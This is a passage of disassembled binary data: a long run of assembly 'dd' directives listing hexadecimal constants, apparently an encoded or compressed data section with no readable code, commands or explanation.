		dd 4C9F05D3h, 80DE7E75h, 83E9D5BEh, 3A1D7B77h, 308F03C9h
		dd 9D14020h, 14266Ah, 48A0AC52h, 2C82B718h, 663DFB98h
		dd 8A98009Dh, 0C321C954h, 2B8E2699h, 71780158h,	0C4453561h
		dd 0AD001238h, 14EB7F33h, 0B2C4396h, 2F847D18h,	90DDC980h
		dd 324C826h, 3F17E3FBh,	0A1575A00h, 50CFFD2h, 83CD3B24h
		dd 87D30023h, 0F210D455h, 127D600h, 0B018C0F1h,	24C4070Eh
		dd 302814BDh, 40CB439h,	0B376871Dh, 0C884B900h,	17E902h
		dd 0A2DD47E8h, 7E82F0BCh, 0B143A300h, 0F37D08E2h, 0FA3D0364h
		dd 1EF2FF4Fh, 387FEDF8h, 81430400h, 0BFB31853h,	0BA0250A7h
		dd 1EE2003Ch, 93843042h, 0D05C20F4h, 40DE0052h,	2C34E4A1h
		dd 0BD8500F8h, 5938C843h, 7A000BFCh, 0C9535F84h, 2E8822h
		dd 0B8C10104h, 4E603F10h, 3437BF1Fh, 0C7E50A03h, 6575C8FCh
		dd 537D00FFh, 28521BC1h, 90011D45h, 74F685A5h, 55200F5Fh
		dd 8B391ED1h, 0E5803AEEh, 0FDC44BAFh, 0F202A6FBh, 3E642C25h
		dd 0E018425Ch, 68548Ch,	96F809A4h, 75FF9240h, 18492201h
		dd 8E9BF12Fh, 4320C121h, 0C6B055h, 0F4C5E987h, 422B610Ah
		dd 0E8408200h, 9A57A34Dh, 517D0332h, 0D444C960h, 0F77E88B0h
		dd 3F509600h, 225BA38h,	0A786007Bh, 6C8331C1h, 0F000CD71h
		dd 3624EB62h, 53FE04h, 0F7E88AFBh, 4B1E433Ah, 0A078756Fh
		dd 8CE2FF03h, 11D507FBh, 0E0DE9421h, 7EF0E599h,	84233200h
		dd 31D016A9h, 96544C9Eh, 4A210075h, 20622464h, 97EA433Ch
		dd 18850400h, 0B2557329h, 486A02F3h, 2BF0F449h,	35C5CBE0h
		dd 90A93700h, 93075DD3h, 2AE10010h, 5FEB5530h, 0BD008018h
		dd 2FD73B3Eh, 0E30D72h,	730E1F3Dh, 2ACAC106h, 81FEBECh
		dd 87C3F83Ah, 0E8E6E375h, 5E9F8Eh, 0DC102DC0h, 0F61CE881h
		dd 16442200h, 0BC88EFC3h, 7B92004Fh, 84FE2D2Ah,	0E60F5053h
		dd 0C04BAC4Dh, 29A1E0E8h, 89853F42h, 9CF58C81h,	0ECA83EF4h
		dd 0DDEADAC7h, 1CBC530Eh, 0EE4B609Bh, 0EE4692Ch, 5427D2A5h
		dd 89051360h, 12006BA4h, 3C9FFB5Bh, 1107053h, 88E22A11h
		dd 0D9182134h, 4C0DD851h, 87493800h, 50A28C91h,	907515h
		dd 8041FAD2h, 406AF633h, 30FFE21Dh, 902D7580h, 0F66070Bh
		dd 5A4D3881h, 78832400h, 7400E03Ch, 82801E4Bh, 768F303h
		dd 5615FC99h, 8108A023h, 4500503Eh, 27414C6h, 38F6B572h
		dd 3CF069FCh, 24006AF0h, 0EB4EBB28h, 0FE744A5Dh, 1A83121Ch
		dd 5F1F0240h, 90136574h, 72D9008Dh, 841464DBh, 0EB730C62h
		dd 7839F602h, 6031B849h
		dd 5021F8FCh, 79E7C53Fh, 34BA3E46h, 91005FD8h, 525AB774h
		dd 0D5002367h, 8E037F86h, 5C16EB3Ch, 0DA00CB77h, 0C8D0D73h
		dd 0D103DD33h, 7B84CF21h, 9C963B04h, 0E490E58Bh, 0C4C5700h
		dd 0BE006C5Bh, 4EC426A3h, 265EA10h, 0D08FABBCh,	0AA406982h
		dd 900F4916h, 770A120h,	6B77880Ah, 0C689AC90h, 31FC020Eh
		dd 0CACF49C9h, 0B2C09740h, 0C87030FCh, 19E98800h, 0B6F28AF1h
		dd 66182708h, 784BA077h, 89351209h, 440E0C34h, 0DA1C4275h
		dd 9B803E80h, 0D2F75BD3h, 25D100E4h, 57AD089h, 0B928C8ECh
		dd 4B00C4B7h, 72D54442h, 6B0EBh, 2ECBE1F3h, 16867799h
		dd 0B4C30330h, 5F547Dh,	50B9B3A7h, 33135CEAh, 0AF530100h
		dd 58AE9E35h, 28680FA0h, 5C60B55Fh, 50895294h, 59B18500h
		dd 8A0BD123h, 0D8800002h, 0A126758h, 42F05F2Eh,	0F0754905h
		dd 0B7ECA1B0h, 92BDC00h, 0F35D5AF9h, 79A55401h,	0E5957458h
		dd 29FD7280h, 5BC85614h, 0D7FCD200h, 9857701Ah,	78402E4Ch
		dd 6040729h, 0F44AF0A3h, 0BF00FE41h, 1D17BD82h,	0E6E3E80Bh
		dd 2585002Dh, 0C65A4F78h, 733F61B2h, 1B770019h,	0AE933B3Ah
		dd 591A2675h, 0BA8100DDh, 3021C2Fh, 86EFD81Dh, 54971100h
		dd 3C3969Bh, 8A0A9BCh, 0D1D848EBh, 2A383988h, 16E6F91Bh
		dd 52432D00h, 0E923BCC7h, 20B8F2h, 18583BBDh, 2F73820Fh
		dd 4F93B200h, 22C43DAAh, 591004F0h, 8394E22Dh, 51B360E9h
		dd 0D5B80CB0h, 0B9013100h, 0D75C2042h, 0B871E645h, 13F270B5h
		dd 173EFE08h, 272F0039h, 0BAF7E07Eh, 893055FEh,	80093AF4h
		dd 0B72009F1h, 0C58302F9h, 0FFE8B204h, 0CD9E567Ch, 6A513800h
		dd 9A9C73h, 95880813h, 977CB85Ah, 0C5BBF400h, 1561EA0Ah
		dd 0F1100003h, 4912510Dh, 0A4581D0Eh, 802C3F8Ah, 5E077562h
		dd 0F8CA28h, 48EFE842h,	0A0E0FF96h, 65E4C800h, 0DFBCBA95h
		dd 7C60000Bh, 44AE545Fh, 0AD7BE093h, 6972000h, 1A2643C6h
		dd 4EB0001h, 7893DD0Dh,	540022CCh, 2C085011h, 1E6D799Fh
		dd 4057F12Dh, 730989F0h, 4600C630h, 0F34E8DD6h,	0DE8CADh
		dd 258B5967h, 0CBEFB91h, 5021C607h, 28F0B256h, 0FEADB5DDh
		dd 76D0FB59h, 30D11E20h, 0D5C5876Bh, 751C5081h,	1EC339CFh
		dd 80B1D62Bh, 0FD9B7Eh,	10E87349h, 1EBB92D4h, 6328100h
		dd 8E004E4h, 0D81F00DCh, 0A8F355D3h, 0C4003121h, 0D6BDAEFBh
		dd 9820A9Ah, 5FFE65CBh,	4F1A180h, 5802EA81h, 0B3542F78h
		dd 2ADDE0C4h, 0F5C20216h, 5F2664A2h, 8A9360E0h,	831E4712h
		dd 18446700h, 2E6689F7h, 30FC27Fh, 0A4504824h, 0C9F858E0h
		dd 6205D00h, 75894EF0h,	0F64A05BCh, 0C0762CB4h,	0C7B3466Dh
		dd 9D0F5000h, 1F2F2D82h, 5A901E55h, 0EA484097h,	0CE223746h
		dd 750058F4h, 196577EEh, 514B011h, 3B398285h, 0B0AF8718h
		dd 45807534h, 1AC5EC00h, 0EBE0176h, 0CA020061h,	0D9A4AF06h
		dd 0FE730D13h, 0C7958600h, 0AD775304h, 5F8B00AEh, 0FB7D80C2h
		dd 0CDEE88F0h, 2F008D7Bh, 0C715C663h, 0B86F110Dh, 0E4101201h
		dd 0BCFA0282h, 7E609D2Ah, 0DA0333EAh, 7468C075h, 0C03FB331h
		dd 35817A9h, 3E7995CEh,	1CE07567h, 0F35EE26Fh, 0DC00F5A8h
		dd 5114F669h, 4800B7DFh, 268DD83Bh, 7A011A1h, 0AF07BA12h
		dd 0D4F17174h, 7D85E454h, 5C38591Eh, 0CAF23F00h, 1E74032Dh
		dd 8562CCD6h, 0C09118AAh, 645A0A94h, 3EC510Bh, 454500B5h
		dd 1E05BAD4h, 5077D2Eh,	0FEAA81C4h, 0C0FD2FC2h,	0E3AE87h
		dd 0CAB541Ch, 6238FE95h, 0A032D32Eh, 0FF22B400h, 0EE7384h
		dd 0B0109C72h, 4BE7E968h, 8D2B60FBh, 91DD9500h,	8C2E63E1h
		dd 931313F0h, 420F003Fh, 0A6B1EB70h, 0E7772200h, 0C75F4086h
		dd 2C835C90h, 0C049F21Fh, 6A138C23h, 0B500F4EBh, 7385DB51h
		dd 16BA0221h, 0CAB4F2h,	53222A75h, 0D800720Dh, 52C38A1Ah
		dd 72865E01h, 0A76900E9h, 80D7B021h, 334CCD38h,	401100B1h
		dd 742E120Ah, 94D80066h, 0E0F42201h, 1700FFFAh,	0C01D7525h
		dd 0F467FE50h, 837713h,	0B2C9BF02h, 0B152535Ah,	8AB32100h
		dd 80C1B75h, 64560797h,	0E0D3220Fh, 9E060DC9h, 5CE22B00h
		dd 982D14E5h, 743300E9h, 4F9F6828h, 5EF6FB42h, 0AA195507h
		dd 3FAF18CBh, 463264C1h, 29EC4B35h, 0F17B00ECh,	8BA1A490h
		dd 82039F1Ah, 2717677Dh, 7F319177h, 2E7142F8h, 0A07BEh
		dd 66A01D8Bh, 79003064h, 0F6035FF8h, 7AA1C6B8h,	5C97009Ch
		dd 0D82E53A3h, 4D0B5BD0h, 0A94210h, 4A445A6Ch, 9BBA1DCDh
		dd 0CBA600C3h, 0FAE6C47Fh, 2FFB9E03h, 0E01A57FCh, 293865h
		dd 0D8DB3BA7h, 345D36E3h, 6C12A5EEh, 0BBF49Bh, 6A0FE00Eh
		dd 0EBEC9D01h, 1A0A9900h, 0ABC48688h, 6753A29h,	0A1BD9000h
		dd 0CAA73D68h, 0A8155D01h, 0B2BBFB92h, 0EAD7C0h, 994AD02Dh
		dd 0A436A010h, 763E8800h, 7D540AFDh, 385F00BAh,	0B805D5E7h
		dd 0EFA058CCh, 1CE2158Ch, 2CDF8900h, 0B50ED494h, 0B0930383h
		dd 0F0B86D5Ah, 2B89EFB0h, 59F46A00h, 0E20E53F8h, 0EC480022h
		dd 63C5035h, 0CE0FA63Dh, 0A0A11328h, 0A03EBC96h, 0FCA4001Ch
		dd 60C40647h, 0F24C3468h, 7890326h, 0C0BBFD85h,	0BC5C58h
		dd 0C275F803h, 0D35BC068h, 0DF29BF00h, 669CDC88h, 7CCF842h
		dd 6C4617B6h, 0A034B021h, 64394C9Eh, 0EC62003Ch, 0D5F8101Fh
		dd 27973A4Eh, 0F0F47AFFh, 48EE0Dh, 0EF38DB79h, 0E552EE19h
		dd 8F02333Dh, 0E1644414h, 4CE36837h, 13AEDCCh, 54203D61h
		dd 0F8430C7Fh, 8FA34B1h, 0C422B900h, 0B32BAB2Dh, 0BB580012h
		dd 0D6154E25h, 1D7F943Bh, 49792AC0h, 72656B3Ah,	5E3C2466h
		dd 36B401F3h, 302CD94Eh, 19074246h, 82EB9A90h, 2A230360h
		dd 584507B6h, 0B301B7AAh, 1EE83724h, 62126A99h,	0B90136A7h
		dd 4B03A045h, 4E52D0h, 7CF04C9Ah, 9ED4475h, 0A954F513h
		dd 419ED900h, 1CCA56DCh, 0C01C4950h, 745F6547h,	0FCF161EDh
		dd 7A037B64h, 20C37371h, 0BF69D852h, 78450091h,	66DDF663h
		dd 4CFCA0D3h, 73007CFCh, 4518F99Dh, 0F0106D53h,	31880024h
		dd 0C9028B62h, 3B00082Dh, 0DDD6F8E1h, 0AD8D79h,	28FCD489h
		dd 9C3A7D72h, 572EEA00h, 86CA3E62h, 0C9113EF4h,	0EFE20683h
		dd 26B05C78h, 5812753Dh, 9E008415h, 0C74A8B28h,	11E21E3Ah
		dd 0E8C000A5h, 0C4EAEF27h, 0D22E4F00h, 2071740Ah, 7D7E02h
		dd 0F9EEE7E0h, 453DB664h, 0C42A0800h, 0CBC70D14h, 439E00D6h
		dd 3F816605h, 0FD0025FFh, 26E83DD2h, 1C6CEFh, 1E389507h
		dd 0AA2769C4h, 0A6D6241Dh, 0E0E85A8Fh, 0EE3AE1B5h, 91670053h
		dd 0C64E3E10h, 3F034F55h, 4B7AD2B1h, 0D875CBC9h, 0C3FA50h
		dd 6F0032Ah, 26F3F85Bh,	80CE103Bh, 52E22C92h, 0A46DA7h
		dd 0B3446BEFh, 0C308BB43h, 0CA535026h, 0F53B1700h, 0E68B828h
		dd 0D2395411h, 89782B40h, 6A000AC8h, 0A7B052B2h, 7CA10974h
		dd 0EAD1F4CEh, 713800EBh, 0BD5EBFAAh, 9007D0Eh,	5478D68h
		dd 0FE63ECE2h, 0D52C0378h, 0A06171Dh, 0C20146F0h, 6900E8ECh
		dd 1505ED39h, 0FE388934h, 65C31FBDh, 6581E542h,	0E0A00E6Eh
		dd 2B00DE8Bh, 81E41C5Dh, 714FBh, 646885BDh, 162F8629h
		dd 8AEAAC00h, 0E455121Ch, 4A4800F7h, 278358E0h,	2B3B04EBh
		dd 5F9E9F68h, 7D19F3C0h, 0F05497h, 0B4517F52h, 38783644h
		dd 324638h, 33D08B56h, 0FEBF6h,	80068A7Dh, 5742FF9h, 5C5F0A00h
		dd 42F29007h, 0F3A00D7h, 0ABD0EC09h, 0A6000354h, 0FCC34A5Eh
		dd 7C75F7F0h
		dd 17E51753h, 42470030h, 0B8A0D73Ah, 0DF822900h, 0FCE488D1h
		dd 7E3700BEh, 95EB1C7Bh, 177892F7h, 0DA19A10Fh,	3CA900EDh
		dd 0FD3E8Bh, 9A708845h,	0C94F943Ah, 1241520Eh, 0F4538024h
		dd 284ADCh, 6389E2C1h, 3C7B8E5Dh, 3B7CE800h, 5C033A78h
		dd 1D1C003Fh, 40F61304h, 5F0B148Fh, 34A5A5Bh, 0F16886E4h
		dd 6520C13Bh, 0F0A61C8Ch, 209FBD8Eh, 0D9B5001Ch, 301BAD96h
		dd 0BE95D500h, 4A4D8EBFh, 687F3F73h, 0C49D5100h, 45EB3E70h
		dd 34A97D0Eh, 35C07EE4h, 2147D3BDh, 506F00E0h, 2F58107Ah
		dd 93F8B702h, 0FEE96E05h, 0CB010FFFh, 0C231A26Ah, 0C0428820h
		dd 2E06BA34h, 0EEFF23A3h, 0E59BC05Fh, 0F8DC00BBh, 0BF94B054h
		dd 5B0263D0h, 78DFE964h, 322861ACh, 1331803Bh, 0EFFC6C75h
		dd 625C2300h, 0FDFB447Ah, 0BEE70361h, 0BB4EDF1Eh, 792C63F8h
		dd 0F86D5E1Dh, 202ED980h, 0F72A6Bh, 4C7D62AEh, 7986E34Fh
		dd 6DDCE03h, 0D8ACF63Ch, 641A53h, 0B38D702Eh, 14B67582h
		dd 52509F07h, 0FBC15DCFh, 0B9EC4E78h, 0F88400F0h, 6BB453FEh
		dd 74039714h, 0FABD0DA7h, 48C2F81Fh, 0E8830002h, 30B83AA2h
		dd 202C264Bh, 0B501D512h, 762C4306h, 0F00A89D0h, 0EF6D099Bh
		dd 0D88029FEh, 66C78B3Fh, 547E9AFCh, 0A9165Ch, 55FC4492h
		dd 51930Fh, 0CF10B22h, 16F8678Bh, 0CFBE7503h, 0B0381ACEh
		dd 0C0103Ah, 0FE124B1Ch, 74C9DD6h, 7D00ADB0h, 0CB51ACFCh
		dd 972F10h, 4F022944h, 7E12A90Ch, 8F0B870Fh, 31F9802Dh
		dd 1CE3543h, 9422274h, 0D9192436h, 0E910D137h, 1C85E83Ah
		dd 83B8B73Eh, 8CEC7DC2h, 33C0EFA5h, 0EF57519h, 4D88982Bh
		dd 8669680h, 553D4126h,	0EB3B9C4Bh, 39F98443h, 8AEA0715h
		dd 70F8AB27h, 4B8296ACh, 4A337C00h, 0F2F5EB8h, 51760084h
		dd 38F1DFABh, 413FAF98h, 2CB9C7h, 951DAC9Ch, 0E106097h
		dd 5EFF483Bh, 8D1C3040h, 0DF7A0853h, 0C1E1500h,	0ABF656Eh
		dd 4A4B00EBh, 42203911h, 0E526695Bh, 0C80001C9h, 0F32D91Bh
		dd 79E005Ch, 830E731Eh,	8D3E0401h, 0B490F485h, 8074F83Fh
		dd 0DC8265BEh, 0EDB71069h, 774BC0h, 155C81Eh, 0CBD52EC9h
		dd 0A2F91600h, 64146E09h, 7507846h, 70965534h, 0C6B75160h
		dd 3ED7F092h, 0FCFC73Fh, 61E9E0E5h, 6C79FE9Fh, 1FC5E2C4h
		dd 0C0146A43h, 0E958C08Fh, 1CB82EF1h, 5C087D00h, 3F840ADh
		dd 0B93500B4h, 0EF8B0689h, 0A5EE795Dh, 4B437000h, 460307C0h
		dd 0C3E0048h, 0F02B0A33h, 0E800244Ch, 592556AFh, 12EB007h
		dd 0C8471F8Ah, 0E44E4034h, 49004423h, 16051F2h,	71EBB1h
		dd 37195E3Ah, 2A41775h,	50A08900h, 2ACAD555h, 7F230F40h
		dd 0CF40D82Bh, 38C852EBh, 907C3903h, 0BF366425h, 1A296A80h
		dd 185FE17h, 72F107A6h,	0D08E924Dh, 0EB007534h,	0D04AD58Bh
		dd 20BA61h, 0E36E9E65h,	408D85E1h, 80CFAA00h, 423F3908h
		dd 3A980F59h, 0FCBDE03Ch, 1B1FA2BCh, 0C8D6ADB2h, 8A904E07h
		dd 0C03EE6F0h, 82060050h, 12AEF392h, 0BFFE0156h, 30FB6C00h
		dd 2F144184h, 4C453E06h, 0FA950072h, 0C3F43CE9h, 3A00EEDBh
		dd 100821FCh, 75188A74h, 931C0205h, 9BE842BBh, 40F59061h
		dd 59C474DFh, 13305F1Fh, 0F8E895DEh, 0D9008275h, 202ABF22h
		dd 7AED0Eh, 59D474BDh, 1C9AAAD7h, 5424D207h, 0F5407F82h
		dd 7995ECB4h, 0FC21771h, 20860F76h, 9FAB7200h, 0DC5EE051h
		dd 0EEF1B5F1h, 857C0A80h, 4190B138h, 89B62B00h,	276EAED2h
		dd 8178B7h, 1DC2881Ah, 0F222287Dh, 0A84ACE00h, 0FDBD11B9h
		dd 0B80B004Bh, 0A443465Ch, 10009AABh, 0BC998EECh, 0C7555Ah
		dd 8870540Eh, 3C9EDF8Fh, 0FF72E300h, 5DADC815h,	0F9340031h
		dd 7F1CE17Eh, 7300E90Eh, 0ECED33A5h, 0FC0C8BA9h, 5C490036h
		dd 12401D4Dh, 0E00BCC7h, 590546A1h, 3D8F6F11h, 7222DCh
		dd 0AF202414h, 0E8DBF93Bh, 468CF50Ah, 0DF05FE52h, 51C71021h
		dd 74288D30h, 6C030337h, 0E365FDCEh, 22261993h,	52005D08h
		dd 1666C4FFh, 42770004h, 0FD2AFBF8h, 111F32E3h,	24400846h
		dd 0BF2B4822h, 708B0044h, 2CEB256Dh, 4E00A471h,	832019DFh
		dd 79935145h, 0C0394B13h, 9216B691h, 60230400h,	0CF542846h
		dd 6AC50059h, 57AD8083h, 9700E0B6h, 5FEB2CF9h, 117865h
		dd 0BFE65AF1h, 0BB245818h, 7C8270BFh, 827C1CE8h, 2FC640A1h
		dd 0B503A39Ch, 0D7094673h, 8115A925h, 132C010Bh, 204C8h
		dd 33740B72h, 73B6C0FFh, 4F80E900h, 0CC35C937h,	0EC680050h
		dd 0C70328C2h, 0D0097DCh, 66B71348h, 42F75Dh, 3785E9B1h
		dd 0ED20CD6Ah, 0B551800h, 7A044908h, 5F2400D5h,	39076010h
		dd 50008402h, 56404D11h, 1E0A4218h, 8069EB68h, 1032C765h
		dd 481DF259h, 3FC10C50h, 9D423541h, 54B5F0h, 57C1564h
		dd 51E4B816h, 0FC30D205h, 90B0897Fh, 0ABE80041h, 59FFDE38h
		dd 51E2109Fh, 60F06D00h, 36F79720h, 40487A40h, 26513C92h
		dd 0DC883081h, 84C95600h, 0CEAA34D6h, 7FBF60Eh,	1FF200Fh
		dd 558DB13Dh, 80A54724h, 13FA8347h, 0BF089916h,	438CA500h
		dd 110C648h, 0AD4A3063h, 0E8A8C40Eh, 0B2002A69h, 66771203h
		dd 1DE740AAh, 7D957489h, 4FF00D80h, 2032C175h, 6C013Eh
		dd 29BCC951h, 78910868h, 3C960014h, 850D2833h, 253E3DEDh
		dd 0B92200DBh, 3A15D973h, 0DAFC20h, 5F13F516h, 0A5AF27CCh
		dd 0FF307500h, 5D5AFC61h, 0D0FD073Fh, 0B01A37B2h, 0F1AFECB7h
		dd 0BD55B00Eh, 0C5D9A02Fh, 4F94708h, 296145E4h,	808B8549h
		dd 9B4482D3h, 0C489AE01h, 0F324DA12h, 84AE0E7h,	38913922h
		dd 7FA551BCh, 0F812D783h, 0FD4B31E0h, 88C59701h, 217E3B6Ch
		dd 6580898h, 0E0001486h, 0A9298E0Bh, 3F407DDCh,	82804AEFh
		dd 1F06BA9Ah, 0C53ADA2Fh, 0D0CE05A5h, 58EC69F8h, 1DC7781Dh
		dd 0C1E54043h, 7E8E0C08h, 94C5DE00h, 0BBB32927h, 5CB10F66h
		dd 4A606FBFh, 95FD7A2Eh, 7ECE42ECh, 7CEB8717h, 0E4C2B5A0h
		dd 43480047h, 580E11DDh, 8005104Dh, 8DFCA54Bh, 0A2B380FBh
		dd 9000A45Ch, 0EE0BB33Ah, 2BEAA0h, 4B8A2FF4h, 74CBA8D9h
		dd 575A0F00h, 0E8F64E0Eh, 7FED0024h, 5DC62CBCh,	0CF7D6D08h
		dd 3DE2183Fh, 271F7EDBh, 444E8EFAh, 3B974014h, 1A1822h
		dd 507E10B2h, 933E91ACh, 0FC147B00h, 0E0CF203h,	18320070h
		dd 1BC96806h, 243EE58Dh, 45F80A7h, 27BE3816h, 42A900F5h
		dd 104759FBh, 0D20E4EC6h, 20761A3Ch, 85EA1465h,	0ADD63BABh
		dd 0F3CE4F04h, 36608156h, 7303E006h, 5706C00h, 7868CB77h
		dd 0F5740F4Ch, 27A0B3EEh, 56247614h, 40E59D03h,	0B04ED74Bh
		dd 734CC811h, 53C30042h, 49D82A21h, 770740DEh, 3EBC5193h
		dd 740130E0h, 7B830063h, 5DB3C36Ch, 14000C20h, 81185740h
		dd 1F1C0251h, 40084B04h, 0FA8B4507h, 14046B22h,	80E0F992h
		dd 763F8680h, 0EEA002Bh, 497444F6h, 0C90AFCC7h,	9166D8A8h
		dd 1CC1949Eh, 55DF10E2h, 77706871h, 60EA4Dh, 0D57756A2h
		dd 0A328E853h, 0EA43D00h, 0B0744301h, 0E3BF0092h, 90AD9344h
		dd 840080F3h, 1B6E7821h, 72997E4h, 0D69C0979h, 421C8028h
		dd 27038C3h, 9678732Eh,	6B1EDD00h, 201018h, 0EB7C74A7h
		dd 0BE433D23h, 577622E8h, 84932700h, 0C697515Bh, 4C7200EFh
		dd 0D2077844h, 0F800B303h, 384E31C4h, 0E9088D9Ch, 0EE4B54D8h
		dd 0CA201FF3h, 0A0594169h, 4070211Ah, 326A9B05h, 6CA2E407h
		dd 0ACB0A943h, 84258Ah
		dd 5419A457h, 4D68809h,	0BA442039h, 7826DC5Ah, 85CCC00h
		dd 97948C9Ch, 80960041h, 14819844h, 38000988h, 1C08119Ah
		dd 467FE8h, 109BB802h, 29A27436h, 8F32093Eh, 0C7A6219Ah
		dd 0F830C458h, 0E9006C3h, 0C605111h, 87B009A0h,	460410Eh
		dd 7171860h, 0A13600E8h, 8C1B0C02h, 1A00DC10h, 21CCB408h
		dd 0EAD40984h, 3A47519h, 201F4050h, 0D8F38088h,	23D0F0DFh
		dd 1100A081h, 4022E34h,	0E82F7C22h, 5446004Ch, 9C49932h
		dd 800516Ch, 22A4913Ch,	5C2074h, 942C4457h, 0F8116489h
		dd 0BC026600h, 6239DC26h, 100900ACh, 52E00353h,	5A0E7933h
		dd 0AF495931h, 90C0204h, 0F460C124h, 7B38A320h,	0A8086164h
		dd 0D4204137h, 0B10ECCC6h, 66B8CB40h, 0E8C88D2h, 980870C8h
		dd 11DC84E0h, 0CC1D1B48h, 873FD9E0h, 1059E744h,	21F96050h
		dd 2A18001Ch, 0CC29ECA8h, 11315408h, 2B744824h,	0BE2330h
		dd 75D17632h, 14EC6405h, 4AC7ACB8h, 2670023Fh, 7A6359ACh
		dd 0A828007Ch, 0A7C43818h, 5B00F008h, 0F411C081h, 0A021B15Eh
		dd 3026295h, 4C70253Ch,	0A8D1409Ch, 50437089h, 2007657Eh
		dd 58488824h, 51766CF1h, 74A46C80h, 0AC12DC89h,	6DFC2212h
		dd 20462C00h, 0C64B972h, 58755171h, 810AA3B8h, 0D5891744h
		dd 0B8261D00h, 1E117CC6h, 9E43554Ah, 0DA440B4h,	4707E817h
		dd 0E170280Eh, 6AC24225h, 0A787F7D0h, 0DD010ACCh, 1C32007Ch
		dd 0EC08B13h, 1558408Dh, 0C6010013h, 31181F84h,	821000Ch
		dd 32032480h, 52E048E6h, 746E7500h, 20656D69h, 0E27200E4h
		dd 83DAE76Fh, 0EAFC6101h, 863B3000h, 18455140h,	80112DBFh
		dd 80191B57h, 0B5413938h, 57805E5Ch, 0DEC0120h,	0A00A1D55h
		dd 58C5C14Eh, 319C0C56h, 0F8AE31B8h, 1007D430h,	1FC1F927h
		dd 0F3911C23h, 0E20AD81Eh, 1897001Dh, 7CF001ABh, 6C00A466h
		dd 105AE433h, 0B70907ECh, 3896DEh, 6C05265Ch, 4C185B66h
		dd 7C006F74h, 128C8984h, 9C092494h, 8791A448h, 0BCF3B475h
		dd 0FBCCFBC4h, 0FBDCFBD4h, 0FBECFBE4h, 4FCF8F4h, 0C5C0140h
		dd 1C121489h, 2C48C424h, 22349107h, 4C17443Ch, 0F81754F1h
		dd 6CED64EDh, 0F67C6F70h, 8C120584h, 824A9424h,	0BC80E5BDh
		dd 5390408h, 8E641C00h,	6A236547h, 5FA83E89h, 48605403h
		dd 0C0F75808h, 6411610Ch, 0E2BCC803h, 0B0316214h, 46801Ch
		dd 88E02363h, 38C46494h, 1FEC7200h, 306548E2h, 8C5E00F0h
		dd 11660423h, 100D560h,	37842A93h, 0E500D14h, 4B4A4847h
		dd 4E4D4C02h, 534705FFh, 585737C0h, 0A056005Ah,	454104ECh
		dd 4F1C6A49h, 6301B811h, 68676664h, 6C6B80EBh, 0AF6E5A6Dh
		dd 74052F00h, 17A7877h,	61200176h, 606F6965h, 9160B998h
		dd 0C4A010DCh, 0A7AC0022h, 0C6E80901h, 740E84AAh, 0E0315132h
		dd 71B09840h, 9EB0FFh, 0C8101101h, 30912009h, 44312200h
		dd 2F388C34h, 69070041h, 33E8C79Ah, 0B001E90Fh,	19F3F0F2h
		dd 4520A490h, 1D2B90B8h, 0C0F822D4h, 3C45581Ch,	741724DEh
		dd 30408C48h, 0ECD444BCh, 59040288h, 34121881h,	6420FA8Eh
		dd 94227C91h, 0FFA84407h, 0C9001F7Eh, 0C1BD8Dh,	9B382F3Fh
		dd 6B707AFEh, 4B3E1D00h, 0AF51C049h, 391A1CB6h,	931500F4h
		dd 1B926CB0h, 5B78B424h, 95553B00h, 708436F7h, 86B8E4h
		dd 0CE0D4AD2h, 0F501DD09h, 0E3CD5300h, 601DB413h, 0F820006Ch
		dd 0A4225027h, 24009B03h, 41659885h, 0F95018Fh,	728409E8h
		dd 70589907h, 4070084Ch, 8900737Fh, 0C5FF1C88h,	7CA3F003h
		dd 75C80021h, 0A43110BEh, 0A67EE408h, 1933D001h, 70EC09E0h
		dd 0BA740D4h, 0F849CCC8h, 90D7A287h, 0AD0A802Ch, 4A96C06h
		dd 3E60A5FEh, 248EA838h, 68E35409h, 84B87412h, 0B5A89048h
		dd 0C80345B8h, 964C033h, 0EB32EB21h, 4442E83Ch,	0B35A0350h
		dd 0D2C08A24h, 3E08B590h, 152981Eh, 3020779h, 6020504h
		dd 0A266007h, 0D0C0E0Bh, 10400E0Fh, 7894389Ch, 0A403BEBAh
		dd 0C401811h, 0C40B99B4h, 7BD02620h, 310D248Dh,	105C030Eh
		dd 0E09B0E34h, 2001C0ACh, 90E61294h, 0A8021376h, 1A6C3616h
		dd 9C2D6019h, 1F401C80h, 7022C184h, 0F77811CCh,	0A024B1D7h
		dd 0C826E488h, 7A279924h, 20192801h, 6E8954D9h,	3B003160h
		dd 10012E34h, 3C033F1Eh, 0E0EC118Fh, 0B0023308h, 34483E22h
		dd 2F6892h, 2C36317Dh, 9009937h, 0C1399032h, 1EC4023Bh
		dd 0C0B4063Dh, 5C874C3Eh, 400C8CCh, 0B15A448Bh,	37714B0h
		dd 639C1864h, 0E9B03038h, 311FDC73h, 700019D4h,	785DD9BEh
		dd 0F284E89Eh, 20AE0004h, 79CC6398h, 0C4CA2E4h,	4411003Fh
		dd 399C5676h, 995C3A66h, 6C5D798Fh, 0D1F5DDC2h,	0A1E05760h
		dd 3652400h, 0C4793310h, 4807519h, 0DC592CB1h, 12218022h
		dd 422486E0h, 0D200B088h, 5C809219h, 9300053h, 3C247214h
		dd 89161260h, 6003992Ch, 0A8A5D481h, 0E2195C2Eh, 442000Ch
		dd 9948515Ah, 0D07411BCh, 0F9C4B93Ah, 26D9A500h, 65193440h
		dd 5809007Ch, 0D4889C12h, 0A000941Ch, 604A90EAh, 366AC2Ah
		dd 41500998h, 8DC057F7h, 0D9F82808h, 49145900h,	9FB4298Ch
		dd 3C313E33h, 2060A987h, 4C7470C9h, 441F6FF4h, 54C1D939h
		dd 91282999h, 0F0C2C07Bh, 250CA49Eh, 129CC419h,	32BF00E0h
		dd 0A514387Bh, 1B584CACh, 69C6015Ah, 885BC33h, 1134F8h
		dd 0D8A4F904h, 1C94A9DCh, 4C619901h, 49883C09h,	0C9083F2h
		dd 4BFBE8D9h, 20460079h, 66107A30h, 2C3A51E4h, 3FB4C841h
		dd 6875F45Ch, 58037FB0h, 94D31287h, 549A0E60h, 5CE090B0h
		dd 0B466B896h, 6C61A973h, 0CC5211ECh, 3106730h,	94B059F2h
		dd 70C00C84h, 2390B199h, 995AC00h, 74329CDCh, 258C0261h
		dd 20D84C2Ch, 90A4B740h, 0C6FC9600h, 786A59C0h,	0D7011E41h
		dd 1B7257Ch, 5BEAC55h, 91934C87h, 70539190h, 1800869Eh
		dd 0AC562096h, 0FA5EC814h, 9EF205C0h, 807CD024h, 8FEC978Dh
		dd 110088F8h, 0EE1920Ch, 2C0298h, 9A4E203Eh, 9CC8B047h
		dd 0DAF13CC0h, 2C08019Bh, 3F961E93h, 1EC41093h,	0FA1887ADh
